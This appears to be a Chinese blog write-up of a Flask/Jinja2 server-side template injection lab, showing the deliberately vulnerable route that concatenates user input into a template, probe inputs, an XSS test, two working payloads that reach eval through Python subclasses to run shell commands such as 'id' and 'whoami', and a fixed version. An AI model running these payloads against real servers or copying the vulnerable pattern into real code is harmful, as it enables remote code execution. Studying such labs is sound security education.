Flask(Jinja2) 服务端模板注入漏洞

FlaskJinja2) 服务端模板注入漏洞

漏洞描述

1.漏洞编号:

2.影响版本:

3.漏洞产生原因:

参考链接:

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates

 

先进入容器看一下web服务的代码

from flask import Flask, request

from jinja2 import Template

 

app = Flask(__name__)

 

@app.route("/")

def index():

    name = request.args.get('name', 'guest')

 

    t = Template("Hello " + name)

    return t.render()

 

if __name__ == "__main__":

    app.run()

 

启动环境:docker-compose up -d

vulnIP:192.168.1.182

环境启动后,访问`http://your-ip:8080`即可看到flask默认首页。

 

Template("Hello " +name)Template()完全可控,那么就可以直接写入jinja2的模板语言

`http://your-ip/?name={{233*233}}`,得到54289,说明SSTI漏洞存在。

 

‘http://your-ip/?name={{'aaa'.upper()}}’

 

‘http://192.168.1.182:8000/?name=1’

 

 

漏洞发现

关注Flask的版本

 

 

漏洞利用

URL后面增加<script>alert(42)</script>会触发一个XSS漏洞。

 

直接从globals中寻找eval

获取eval函数并执行任意python代码的POC

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}

  {% if b.__class__ == {}.__class__ %}

    {% if 'eval' in b.keys() %}

      {{ b['eval']('__import__("os").popen("id").read()') }}

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

 

访问`http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D`,得到执行结果:

 

 寻找__builtins__得到eval

jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__=='_IterationGuard' %}

{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

 

问题汇总

 

修复方案

from flask import Flask, request

from jinja2 import Template

 

app = Flask(__name__)

 

@app.route("/safe")

def safe():

    name = request.args.get('name', 'guest')

 

    t = Template("Hello {{n}}")

    return t.render(n=name)

 

if __name__ == "__main__":

app.run()

 

 

基础知识

flask

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

  • Werkzeug 一个 WSGI 工具包
  • jinja2 模板引擎

Flask简单易学,下面是Flask版的hello world(hello.py):

from flask import Flask

app = Flask(__name__)

@app.route("/")

def hello():    

    return "Hello World!"

 

if __name__ == "__main__":

app.run() 

 

Jinja 2

  • Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
  • Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
  • Jinja2 模板同样支持控制语句,像在 {%…%} 块中
{# This is jinja code

   # 控制结构

    {% for file in filenames %}

        # 取值

        {{ file }}

    {% endfor %}

#}

```

 

Demo

```

from jinja2 import Template

t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')

print t.render()

 

2021-02-19 22:10:04

posted @ 2021-02-19 22:11  toby123  阅读(363)  评论(0编辑  收藏  举报